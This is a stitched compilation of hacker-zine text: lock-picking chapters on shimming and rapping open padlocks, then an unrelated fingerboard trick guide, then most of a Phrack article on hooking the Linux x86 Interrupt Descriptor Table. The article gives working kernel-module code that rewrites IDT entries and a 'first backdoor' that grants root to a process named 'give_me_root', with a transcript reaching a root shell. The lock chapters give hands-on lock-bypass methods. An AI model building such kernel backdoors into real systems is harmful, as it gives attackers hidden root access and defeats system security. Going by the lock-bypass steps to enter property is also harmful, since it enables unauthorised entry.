FIG. 30

FIG. 30

It requires a fair measure of practice, and even more patience, but the rewards once you are a master of this technique are more than words can convey. Using whatever method you choose to turn the plug, FIG. 30 shows the pick lifting the pins one at a time until they are pushed out of the plug into the top chambers. All the time, a very gentle turning motion has been applied by means of the turning tool. FIG. 31 shows the lock set to open.

```
         Set to open
                   ___  ___  ___
                  | = || = || = |
                  |.-.||.-.||.-.|            Notice how the
  Shear line   ___|'-'||'-'||'-'|___         bottom pins line
                    _    _    _   <--------- up precisely on
                   | |  | |  | |             the shear line
                   '_'  '_'  '_'
```

FIG. 31

```
                        ____________
                  U----(____________)   Small
                        ____________
                  \----(____________)   Medium
                        ____________
                  |____(____________)   Large
```

Three sizes of Hook Picks

FIG. 32

Use the correct size of hook pick, by first trying the smallest. see FIG. 32. Practice this, and you will have a gem.

Chapter 10:   OPENING LOCKS WITHOUT ACTUAL PICKING

FIG. 33 some points of attack which you will find convenient, and which have been unknowingly built into the lock's construction by the manufacturer. The method is known as shimming. FIG. 34 shows a collection of springs and probes. go along to your local watchmaker and obtain as many as you can. Add to this blades from junior hacksaws, coping and fretsaws and you will soon have a fine collection.

FIG. 33

```
                    ________   X
            X      / ______ \ /
             \    / /      \ \
              \__/ /________\ \__
              |\ |_|_------ | |  |
              |  |_,-.----.#| |  |
         X----|--| ||_.--._||=|  |
              |  '-' .-''-. |=|  |
              |      |    | |=|  |
              |      |    | |=|  |
              |      '----' '='  |
              |__________________|
```

```
              Old Clock springs
_____________   ________________  _________________
|_____________| [________________]'-----------------' Small,Med,Large

         Saw Blades
____________\_
______________) -----------------,  __________________
               \ VVVVVVVVVVVVVVVVV   vvvvvvvvvvvvvvvvvv'
```

FIG. 34

Taking advantage of the lock's weak points, we insert our clock spring or saw blade between the point where the two halves of the lock case meet, or down the side of the shackle, following the line of the bow, and so pushing back the spring-loaded bolt.

CHAPTER 11:   RAPPING OPEN LOCKS

Look at my FIG. 35, which shows a pin-tumbler lock about to be opened by rapping. the blow must be sharp but not heavy.

```
                          ___   Sharp
                         |   |  Blow
   FIG. 35              _|   |_
                        \     /        Pins
                         \   /    __   line up
                          \ /    |  |  on the
                   ________V_____|  |  Shear Line
Blow causes       |  __  _ _ _ _    |
the pins and      | |==||=|=|=|=|   |
drivers to        |-|V ||V|V|V|V|___| Shearing
vibrate      -----| |^ ||^|^|^|^|   |-------
                  | |V ||V|V|V|V|   | Line
                  | |--||-|-|-|-|   |
                  | '__''_'_'_'_'   |
                  '______________   |
                                 |  |
                                 |__|
```

How Rapping works

The blow should be only to the point shown. It has the effect of causing the pins to vibrate and to split at the shearing line, as in raking and the lock gun methods. Just as in the other methods, we use the turning tool together with the pulsating movement. Try rapping open a spring-loaded bow (shackle) padlock before you try a pin-tumbler or wafer lock. (See FIG. 36)

```
                                ______
                               /,^--. \
                           __     __/ /
                          /  \___/ / /
                         / ---.  __  \
                        /   _/  (     \
                       /   C.   /      \
                       \   \\     (o)  /  <--- Sharp blow at this
                        \   \,     |  /        point opens the lock
                         \___________/
```

Vibration causes lock to open like magic

TOOLS AND APPARATUS
FOR USE IN LOCK PICKING

1 Small vice, from watchmaker's suppliers, with 2" jaws.
2 A selection of small files, from watchmaker's suppliers.
3 A junior hacksaw from hardware stores.
4 A selection of saw blades, from hardware stores.
5 Leaf gauges, from a garage.
6 Piano wire, from music shop.
7 Lock picks, from locksmiths.
8 Old clock springs, from local watchmaker.
9 Wire cutters, from hardware stores.
10 Collection of blank keys, from locksmiths.
11 Lock gun from locksmiths.
12 Oil, from hardware stores.
13 Lots of old locks, from friends.
14 Pencil torch.
15 Strong magnifying glass.
16 Patience, and a bottomless coffee pot.

Get together as many locks of all types as possible. ask your friends if they can find you any old locks for which they have lost the keys. After experimenting with the locks, open them up to find out how they work. This is the finest way to becoming a true lock expert.

  If you are beaten by a particular lock, dont despair. I know the feeling all to well. it’s back to the drawing board, or, more correctly, the workshop. Open it up, study it’s workings, then re-assemble. always LOOK FOR ITS WEAK POINTS. believe me, it will have some; you just have to look long enough and hard enough. Locks are like a chain, as strong as the weakest link.

```
|=[ 0x04 ]=----------------------------------------------------------------=|
```

Spyke’s Beginner Guide 2

```
FFF III N  N GGG EEE RRR  BBB OOO AAA RRR DD  III N  N GGG
F    I  NN N G   E   R R  B B O O A A R R D D  I  NN N G
FFF  I  N NN G   EEE RRR  BBB O O AAA RRR D D  I  N NN G
F    I  N  N G G E   RR   B B O O A A RR  D D  I  N  N G G
F   III N  N GGG EEE R R  BBB OOO A A R R DD  III N  N GGG
~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_

                               (Like anyone wants to know..
                                  Just somin’ to do in your
                                               Spare time!)

~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_
```

Sections
----

1. How to perform ollies
2. How to perform Backflips
3. How to perform shuv-its (in air)
4. How to perform Grinds
   4.1 Boardslide
   4.2 Darkslide
5. How to get a fingerboard

```
~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_
```

Section : 1. How to perform ollies
==================================

The ollie is possibly the first fingerboarding trick in which you should learn. It allows you to pop your finger-board into the air with your fingers allowing you to jump Onto OR over (small) objects.
  the first part of the ollie is to put you fingers in the correct possition (as you can see in {Fig. A}) with one finger flat on the tail and another right behind were the trucks are on the top.

```
{Fig. A}
                            Key
                            -------
                            F=Finger      \=Left Tail  0=Wheel
                            /=Right Tail  ^=Trucks     _=Part of deck

\_____F___________F/
   ^0^        ^0^
```

Next you hit the tail (with the finger that is placed on on the tail) lift hand and push forwards.
  After practice you //should// be able to get the board into the air a few inchs ({Fig. B}).

```
{Fig. B}

|
0\F
```

```
   \
    \
     \
      \
      O\_F
```

~_

Section : 2. How to perform Backflips
=====================================

The back flip on a finger board if diffurent to a backflip on a skateboard in the way that your fingers do not flip 360 degrees verticly (That would break your wrist) but they hover above the board while it flips.

  Firstly put your fingers into the ollie postition (Shown above in {Fig. A}), and hit the tail hard. Quickly lift your fingers up into the air and the board //should// flip in the air verticaly. Now for the hard bit : wait until the board flips 360 degrees then drop your fingers so it lands the correct way up,this movemnt has to be farely fast to work.

~_

Section : 3. How to perform shuv-its (in Air)
===

The shuv-it (in Air) is were you ollie your board so it spins 180 degrees horizontaly.

  To do this trick you must place your fingers in the ollie postition but with the tail-finger on the side on the board, not the middle (Shown in {Fig. C}), next you ollie but when you hit the tail you also turn you hand a little bit.

{Fig. C}

```
   ______________________F
  / . .               . . \
 |  . .F              . .  |
  \_______________________/
```

When the board is (hopefully) spinning in the air hit it down after it has made a full 180 degree turn.

~_

Section : 4. How to perform Grinds
==================================

To grind, ollie the board onto the edge of somthing OR onto a pencil of bar.

Section : 4.1 Boardslide

Ollie the board and turn it 90 degrees in the air onto a thin object/edge of somthing then, push smoothly across (Refer to {Fig. D}), to land push the board off the object and turn 90 degrees back to the orginal position.

{Fig. D}

```
          _
         /F\
        |. .|
        |. .|
        |   |
 -------|   |-------
 -------|   |--------Grinding Object
        | F |
        |. .|
        |. .|
         \_/
```

Section : 4.2 Darkslide

The darkslide is a grinding trick were you flip the board upside down, grind it upside down, then flip it the correct way up. It is technically an upside-down Boardslide.

Firstly put your fingers into an ollie postition and move the board towards the grinding objects, when you are close annouf to ollie onto it, flip your board 180 degrees so it is upside down, and push it onto the grinding object.

Push it forwards assuming pressure to the front, when you get to the end of the grinding object attemp to flip the board the correct way up.

Section : 5 How to get a fingerboard

Search in some local shops near you or buy them online from:

http://www.skateboard.com/techdeckshop/

|=[EOF]=--=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12

```
|=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ kad, <kadamyse@altern.org> ]=-----------------------=|
```

--[Contents

--[1 - Introduction

The Intel CPU can be run in two modes: real mode and protected mode. The first mode does not protect any kernel registers from being altered by userland programs. All modern Operating System make use of the protected mode feature to restrict access to critical registers by userland processes. The protected mode offers 4 different 'privilege levels' (ranging from 0..3, aka ring0..ring3). Userland applications are usually executed in ring3. The kernel on the other hand is executed in the most privileged mode, ring0. This grants the kernel full access to all CPU registers, all parts of the hardware and the memory. With no question is this the mode of choice to do start some hacking.

The article will demonstrate techniques for modifying the Interrupt Descriptor Table (IDT) on Linux/x86. Further on will the article explain how the same technique can be used to redirect system calls to achieve similar capability as with Loadable Kernel Modules (LKM).

The presented examples in this article will only make use of LKM to load the executable code into kernel space for simplicity reasons. Other techniques which are not scope of this document can be used to either load the executable code into the kernel space or to hide the kernel module (Spacewalker’s method for example).

CheckIDT which is a useful tool for examining the IDT and to avoid kernel panics every 5 minutes is provided at the end of that paper.

--[2 - Presentation

----[2.1 - What’s an interrupt?

"An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Such events correspond to electrical signals generated by hardware circuits both inside and outside of the CPU chip."
(from: "Understanding the Linux kernel," O’Reilly publishing.)

----[2.2 - Interrupts and exceptions

The Intel reference manual refers to "synchronous interrupts" (those which are produced by the CPU Control Unit (CU) after the execution of an instruction has been finished) as "exceptions". Asynchronous interrupts (those which are generated by other hardware devices at arbitrary time) are referred to as just "interrupts". Interrupts are issued by external I/O devices whereas exceptions are caused either by programming errors or by anomalous conditions that must be handled by the kernel. The term "Interrupt Signals" will be used during this article to refer to both, exceptions and interrupts.

Interrupts are split into two categories: Maskable interrupts which can be ignored (or ’masked’) for a short time period and non-maskable interrupts which must be handled immediately. Unmaskable interrupts are generated by critical events such as hardware failures; I won’t deal with them here. The well-known IRQs (Interrupt ReQuests) fall into the category of maskable interrupts.

Exceptions are split into two different categories: Processor generated exceptions (Faults, Traps, Aborts) and programmed exceptions which can be triggered by the assembler instructions int or int3. The latter one are often referred to as software interrupts.

----[2.3 - Interrupt vector

Each interrupt or exception is identified by a number between 0 and 255. Intel calls this number a vector. The numbers are classified like this:

```
- From 0 to 31   : exceptions and non-maskable interrupts
- From 32 to 47  : maskable interrupts
- From 48 to 255 : software interrupts
```

Linux uses only one software interrupt (0x80) which is used for the syscall interface to invoke kernel functions.

Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to the interrupt vectors 32..47.

----[2.4 - What is IDT ?

IDT = Interrupt Descriptor Table

The IDT is a linear table of 256 entries which associates an interrupt handler with each interrupt vector.
Each entry of the IDT is a descriptor of 8 bytes which blows the entire IDT up to a size of 256 * 8 = 2048 bytes.
The IDT can contain three different types of descriptors/entries:

- Task Gate Descriptor

        Linux does not use this descriptor

- Interrupt Gate Descriptor

```
63                      48|47           40|39               32
+------------------------------------------------------------
|                         | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31)  |P|P|P|0|1|1|1|0|0|0|0| RESERVED
|                         | |L|L| | | | | | | | |
=============================================================
                          |                                 |
  SEGMENT SELECTOR        |   HANDLER OFFSET (0-15)         |
                          |                                 |
------------------------------------------------------------+
31                      16|15                               0
```

        - bits 0 to 15 : handler offset low
        - bits 16 to 31 : segment selector
        - bits 32 to 37 : reserved
        - bits 37 to 39 : 0
        - bits 40 to 47 : flags/type
        - bits 48 to 63 : handler offset high

- Trap Gate Descriptor

        Same as the previous one, but the flag is different

The flag is composed as next :

```
        - 5 bits for the type
                interrupt gate       : 1 1 1 1 0
                trap  gate          : 0 1 1 1 0
        - 2 bits for DPL
                DPL = descriptor privilege level
        - 1 bit reserved
```

Offset low and offset high contain the address of the function handling the interrupt. This address is jumped at when an interrupt occurs. The goal of the article is to change one of these addresses and let our own interrupthandler beeing executed.

DPL=Descriptor Privilege Level

The DPL is equal to 0 or 3. Zero is the most privileged level (kernel mode). The current execution level is saved in the CPL register (Current Privilege Level). The UC (Unit Of Control) compares the value of the CPL register against the DPL field of the interrupt in the IDT. The interrupt handler is executed if the DPL field is greater (less privileged) or equal to the value in the CPL register. Userland applications are executed in ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by userland applications.

The IDT is initialized one first time by the BIOS routine but Linux does it one more time when it take control. The asm lidt function initialize the idtr registry which will contain the size and idt's address. Then the setup_idt function fill the 256 entry of the idt with the same interrupt gate, ignore_int. Then the good gate will be inserted into the idt by the next functions:

linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
        insert an interrupt gate at the n place at the address
        pointed to by the idt register. The interrupt handler's address
        is stored in 'addr'.

linux/arch/i386/kernel/irq.c

```
All maskable interrupts and software interrupts are initialized with:
        set_intr_gate :

#define FIRST_EXTERNAL_VECTOR  0x20

                for (i = 0; i < NR_IRQS; i++) {
                int vector = FIRST_EXTERNAL_VECTOR + i;
                if (vector != SYSCALL_VECTOR)
                        set_intr_gate(vector, interrupt[i]);


linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
        insert a trap gate.
        The DPL field is set to 3.

These interrupts can be invoked from the userland (ring3).

                set_system_gate(3,&int3)
                set_system_gate(4,&overflow)
                set_system_gate(5,&bounds)
                set_system_gate(0x80,&system_call);

linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
        insert a trap gate with the DPL field set to 0.
        The Others exception are initialized with set_trap_gate :

                set_trap_gate(0,&divide_error)
                set_trap_gate(1,&debug)
                set_trap_gate(2,&nmi)
                set_trap_gate(6,&invalid_op)
                set_trap_gate(7,&device_not_available)
                set_trap_gate(8,&double_fault)
                set_trap_gate(9,&coprocessor_segment_overrun)
                set_trap_gate(10,&invalid_TSS)
                set_trap_gate(11,&segment_not_present)
                set_trap_gate(12,&stack_segment)
                set_trap_gate(13,&general_protection)
                set_trap_gate(14,&page_fault)
                set_trap_gate(15,&spurious_interrupt_bug)
                set_trap_gate(16,&coprocessor_error)
                set_trap_gate(17,&alignement_check)
                set_trap_gate(18,&machine_check)
```

IRQ interrupts are initialized by set_intr_gate(), Exception int3, overflow, bound and the system_call software interrupt by set_system_gate(). All others exceptions are initialized by set_trap_gate().

Let’s start over with some practice and examine the currently assigned handler addresses for each interrupt. Use the tool CheckIDT [6] attached to this article for this:

```
%./checkidt -A -s

Int *** Stub Address * Segment *** DPL * Type             Handler Name
--------------------------------------------------------------------------
0       0xc01092c8     KERNEL_CS   0     Trap gate        divide_error
1       0xc0109358     KERNEL_CS   0     Trap gate        debug
2       0xc0109364     KERNEL_CS   0     Trap gate        nmi
3       0xc0109370     KERNEL_CS   3     System gate      int3
4       0xc010937c     KERNEL_CS   3     System gate      overflow
5       0xc0109388     KERNEL_CS   3     System gate      bounds
6       0xc0109394     KERNEL_CS   0     Trap gate        invalid_op
...
18      0xc0109400     KERNEL_CS   0     Trap gate        machine_check
19      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
20      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
```

```
...
31      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
32      0xc010a0d8     KERNEL_CS   0     Interrupt gate   IRQ0x00_interrupt
33      0xc010a0e0     KERNEL_CS   0     Interrupt gate   IRQ0x01_interrupt
...
47      0xc010a15c     KERNEL_CS   0     Interrupt gate   IRQ0x0f_interrupt
128     0xc01091b4     KERNEL_CS   3       System gate      system_call
```

The System.map contains the symbol names to the addresses shown above.

```
% grep c0109364 /boot/System.map
00000000c0109364 T nmi
nmi=not maskable interrupt ->trap_gate
```

```
% grep c010937c /boot/System.map
00000000c010937c T overflow
overflow -> system_gate
```

```
% grep c01001e4 /boot/System.map
00000000c01001e4 t ignore_int
```

18 to 31 are reserved by Intel for further use

```
% grep c010a0e0 /boot/System.map
00000000c010a0e0 t IRQ0x01_interrupt
device keyboard ->intr_gate
```

```
% grep c01091b4 /boot/System.map
00000000c01091b4 T system_call
system call  -> system_gate
```

rem: there is a new option in checkIDT for resolving symbol

--[3 - Exceptions

----[3.1 - List of exceptions

number	Exception	Exception Handler
0	Divide Error	divide_error()
1	Debug	debug()
2	Nonmaskable Interrupt	nmi()
3	Break Point	int3()
4	Overflow	overflow()
5	Boundary verification	bounds()
6	Invalid operation code	invalid_op()
7	Device not available	device_not_available()
8	Double Fault	double_fault()
9	Coprocessor segment overrun	coprocesseur_segment_overrun()
10	TSS not valid	invalid_tss()
11	Segment not present	segment_no_present()
12	stack exception	stack_segment()
13	General Protection	general_protection()
14	Page Fault	page_fault()
15	Reserved by Intel	none
16	Calcul Error with float virgul	coprocessor_error()
17	Alignement check	alignement_check()
18	Machine Check	machine_check()

Exceptions are divided into two categories:
- processor detected exceptions (DPL field set to 0)
- software interrupts (aka programmed exceptions), (DPL field set to 3).

The latter one can be invoked from userland.

----[3.2 - Whats happening when an exception occurs ?

On the occurrence of an exception the corresponding handler address from the current IDT is executed. This handler is not the real handler who deals with the exception, it's just jumps till the true/good handler.

To be clearer :

exception -----> intermediate Handler -----> Real Handler

entry.S defines all the intermediate Handler, also called Generic Handler or stub. The first Handler is written in asm, the real Handler written in C.

For not being confused, lets call the first handler : asm Handler and the second one the C Handler.

let's have a look at entry.S :

entry.S :

```
**************************************************
ENTRY(nmi)
        pushl $0
        pushl $ SYMBOL_NAME(do_nmi)
        jmp error_code

ENTRY(int3)
        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code

ENTRY(overflow)
        pushl $0
        pushl $ SYMBOL_NAME(do_overflow)
        jmp error_code

ENTRY(divide_error)

        pushl $0                # no error value/code
        pushl $ SYMBOL_NAME(do_divide_error)
        ALIGN
error_code:
        pushl %ds
        pushl %eax
        xorl %eax,%eax
        pushl %ebp
        pushl %edi
        pushl %esi
        pushl %edx
        decl %eax                       # eax = -1
        pushl %ecx
        pushl %ebx
        cld
        movl %es,%cx
        movl ORIG_EAX(%esp), %esi       # get the error value
        movl ES(%esp), %edi             # get the function address
        movl %eax, ORIG_EAX(%esp)
        movl %ecx, ES(%esp)
        movl %esp,%edx
        pushl %esi                      # push the error code
        pushl %edx                      # push the pt_regs pointer
        movl $(__KERNEL_DS),%edx
        movl %dx,%ds
        movl %dx,%es
        GET_CURRENT(%ebx)
        call *%edi
        addl $8,%esp
        jmp ret_from_exception
```

****

Let’s examine the above:

ALL handlers have the same structure (only system_call and device_not_available are different):

```
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
```

Pushl $0 is only used for some exceptions. The UC is supposed to smear the hardware error value of the exception onto the stack. Some exceptions to not generate an error value and $0 (zero) is pushed instead. The last line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).

error code is an asm macro used by the exceptions.

so let’s resume once again

exception ---> intermediate Handler ---> error_code macro ---> Real Handler

The Assembly fragment error_code performs the following steps:

1: Saves the registers that might be used by the high-level C function on the stack.

2: Set eax to -1.

3: Copy the hardware error value ($esp + 36) and the handler’s address ($esp + 32) in esi and edi respectively.

```
        movl ORIG_EAX(%esp), %esi
        movl ES(%esp), %edi
```

4: Place eax, which is equal to -1, at the error code emplacement.
Copy the content of es to the stack location at $esp + 32.

5: Save the the stack’s top Address into edx,then smear error_code which we get back at point 3 and edx on the stack.
The stack’s top address must be saved for later use.

6: Place the kernel data segment selector into the ds and es registry.

7: Set the current process descriptor’s address in ebx.

8: Stores the parameters to be passed to the high-level C function on the stack (e.g. the hardware exception value and the address and the stack location of the saved registers from the user mode process).

9: Call the exception handler (address is in edi, see 3).

10: The two last instructions are for the back of the exception.

error_code will jump to the suitable exception Manager. The one that’s gonna actually handle the exceptions (see traps.c for detailed information).

So these ones are written in C.

Let’s take an exception handler as a concrete example. For example, the C handler for non maskable nmi interruption.

rem: taken from traps.c

```
*************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
        unsigned char reason = inb(0x61);
        extern atomic_t nmi_counter;
....
*************************************************************
```

asmlinkage is a macro used to keep params on the stack. As params are passed from asm code to C code through the stack, it would be bad to get unwanted params put on the top of the stack. Asmlinkage gonna resolve that point.

The function do_nmi gets a pointer of type pt_regs and error_code.

pt_regs is defined into /usr/include/asm/ptrace.h:

```
struct pt_regs {
        long ebx;
        long ecx;
        long edx;
        long esi;
        long edi;
        long ebp;
        long eax;
        int  xds;
        int  xes;
        long orig_eax;
        long eip;
        int  xcs;
        long eflags;
        long esp;
        int  xss;
};
```

A part of the registry are push on the stack by error_code, the others are some registry pushed by the UC at the hardware level.

This handler will handle the exception and almost all time send a signal to the process.

----[3.3 - Hooking an interrupt (by Mammon)

Mammon wrote a txt on how to hook interrupt under linux. The technique I'm going to explain is similar to that of Mammon but will allow us to handle the interrupt in a more generic/comfortable way.

Let's take int3, the breakpoint interrupt. The handler/stub is defines as following:

```
ENTRY(int3)
        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code
```

The C handler's address is pushed on the stack right after the dummy hardware error value (zero) has been saved. The assembly fragment error_code is executed next. Our approach is to rewrite such an asm handler and push our own handler's address on the stack instead of the original one (do_int3).

Example:

```
void stub_kad(void)
        {
```

```
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "
        ::
        );
        }
```

Our new handler looks similar to the original one. The surrounding statements are required to get it compiled with a C compiler.

- We put our asm code into a function to make linking easier.
- .globl my_stub, will allow us to reference the asm code if we declare in global : extern asmlinkage void my_stub();
- align 4,0x90, align the size of one word, on Intel processor the alignement is 4 (32 bits).
- push ptr_handler(,1) , conform to the gas syntax,we wont use it later.

For more information about asm inline, see [1].

We push our Handler's address and we jump to error_code.

ptr_handler contain our C Handler's address :

```
unsigned long ptr_handler=(unsigned long)&my_handler;
```

The C Handler:

```
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        {
        void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
        printk("<1>Wowowo hijacking of int 3 \n");
        (*old_int_handler)(regs,err_code);
        return;
        }
```

We get back two argument, one pointer on the registry, and err_code. We have seen before that error_code push this two argument. We save the old handler's address,the one we was supposed to push (pushl $SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the interrupt and go back to the old handler.Its the same way as hooking a syscall with "classical method".

What's old_handler ?

```
#define do_int3    0xc010977c
unsigned long old_handler=do_int3;
```

do_int3 address have been catch from System.map.

rem : We can define a symbol's address on-the-fly.

To be clearer :

```
asm Handler
----------------
push 0
push our handler
jmp to error_code

error_code
----------
do some operation
```

```
pop our handler address
jmp to our C handler

our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler

Real C Handler
-------------------
really deal with the interrupt
```

Now we have to change the first Handler's address in the corresponding descriptor in the IDT (offset_low and offset_high, see 2.4). The function accepts three parameters: The number of the interrupt hook, the new handler's address and a pointer to save the old handler's address.

```
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub

         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         return;
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }
```

struct descriptor_idt:

```
struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };
```

We have seen that a descriptor is 64 bits long.

```
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char  : 8 bits  (reserved and flag)

(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
```

It's a descriptor for the IDT. The only interesting fields are offset_high and offset_low. It's the two fields we will modify.

Hook_stub performs the following steps:

1: We copy our handler's address into new_addr

2: We make the idt variable point on the first IDT descriptor.
We got the IDT's address with the function get_addr_idt().
This function execute the asm instruction sidt who get the idt address
and his size into a variable.
We get the idt's address from this variable (idtr) and we send it back.
This have been already explained by sd and devik in Phrack 58 article 7.
3: We save the old handler's address with the function get_stub_from_idt.
This function extract the fields offset_high and offset_low from the
gived descriptor and send back the address.

```
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
```

n = the number of the interrupt to hook. idte will then contain the
given interrupt descriptor.

We send the handler's address back,for it we send a type
(void*) (32 bits).

offset_high and offset_low do both 16 bits, we slide the bit for offset
high to the left,and we add offset_low. The whole part give the handler's
address.

4 : new_addr contain our handler's address,always 32 bits.
We extract the 16 MSB and put them into offset_high and the 16
LSB into offset_low.

The fields offset_high and offset_low of the interrupt's descriptor to
handle have been changed.

The whole code is available in annexe CODE 1

Why is this technique not perfect?
Its not that its bad, but it isn't appropriate for the others
interrupt.Here we admit that all handler are like that :

```
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
```

It's True.If you give a look in entry.S, they are almost all look like
this. But not all. Imagine you wanna hook the syscall's handler, The
device_not_aivable Handler (even if its not really interesting)or even the
hardware interrupt....How Will we do it ?

----[3.4 - Generic interrupt hooking

We are going to use another technique to hook a handler. Remember, in the
handler written in C, we went back to the true C handler thanks to a
return.

Now, we are going to go back in the asm code.

Simple example of handler :

```
void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                  \n"
        ".align 4,0x90                   \n"
        "my_stub:                       \n"
        "       call *%0                \n"
        "       jmp  *%1                  \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }
```

Here, we make a call to our fake C handler, the handler is executed and goes back to the asm handler which jumps to the true asm handler !

Our C handler :

```
asmlinkage void my_function()
        {
        printk("<1>Interrupt %i hijack \n",interrupt);
        }
```

What happens ?

We are going to change the address in the idt by the address of our asm handler. This one will jump to our C handler and will go back to our asm handler which, at the end, will jump to the true asm handler the address of which we have saved.

```
::"m"(hostile_code),"m"(old_stub)
```

For those who had not felt up to read the doc on asm inline, here is the syntax :

```
asm (
    assembler instruction
    : output operands
    : input operands
    : list of modified registers
);
```

You can put asm or __asm__. __asm__ is used to avoid confusion with other vars. You can also put asm volatile, in this case the asm code won't be changed (optimized) during the compilation.

"m"(hostile_code) and "m"(old_stub) are input operands. The first one is equal to %0, the second one to %1, ... So call %0 is equal to call hostile_code. "m" means memory address. hostile_code corresponds to the address of our C handler and old_stub to the address of the handler that was in the idt previously. If this seems impossible to understand, I advice you to read the doc on asm inline [1].

The whole code is in annexe. All the next codes comes from this code. In each new example, I will only show the asm handler et the C handler. The rest will be the same.

First concrete example :

```
bash-2.05# cat test.c
#include <stdio.h>

int main ()
{
  int a=8,b=0;
  printf("A/B = %i\n",a/b);
  return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
```

```
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
```

Good ! We see the "Interrupt hijack".

In this code, we use MODULE_PARM which will allow to give parameters during the module insertion. For further information about this syntax, read "linux device drivers" from o'reilly [2] (chapter 2). This will allow us to hook a chosen interrupt with the same module.

----[3.5 - Hooking for profit : our first backdoor

This first very simple backdoor will allow us to obtain a root shell. The C handler is going to give the root rights to the process that has generated the interrupt.

Asm handler

```
void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }
```

We give to the C handler the address of the current process descriptor. We get it back like in error_code, thanks to the macro GET_CURRENT :

```
#define GET_CURRENT(reg) \
    movl %esp, reg; \
    andl $-8192, reg;
```

defined in entry.S.

rem : We can also use current instead.

We put the result on the stack and we call our function. The rest of the asm code puts the stack back in its previous state and jumps to the true handler.

C handler :

```
...
unsigned long hostile_code=(unsigned long)&my_function;
...

asmlinkage void my_function(unsigned long addr_task)
        {
```

```
        struct task_struct *p = &((struct task_struct *) addr_task)[0];
        if(strcmp(p->comm,"give_me_root")==0 )
                {
                p->uid=0;
                p->gid=0;
                }
        }
```

We declare a pointer on the current process descriptor. We compare the name of the process with a name we have chosen. We must not attribute the root rights to all the process which would generate this interrupt. If it is the good process, then we can give it new rights.

"give_me_root" is a little program which launch a shell (system("/bin/sh")). We will only have to put a breakpoint before system to launch a shell with the root rights.

In practice :

```
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#

///// in another shell //////

sh-2.05$ cat give_me_root.c
#include <stdio.h>

int main (int argc, char ** argv)
    {
    system("/bin/sh");
    return 0;
    }

sh-2.05$ gcc -o give_me_root give_me_root.c
sh-2.05$ id
uid=1000(kad) gid=100(users) groups=100(users)
sh-2.05$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x80483f6
(gdb) r
Starting program: /tmp/give_me_root

Breakpoint 1, 0x080483f6 in main ()
(gdb) c
Continuing.
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
```

We are root. The code is in annexe, CODE 2.

----[3.6 - Hooking for fun

A program that could be interesting is an exception tracer. We could for example hook all the exceptions to print the name of the process that has provoked the exception. We could know all the time who launch what.
We could also print the values of the registers.
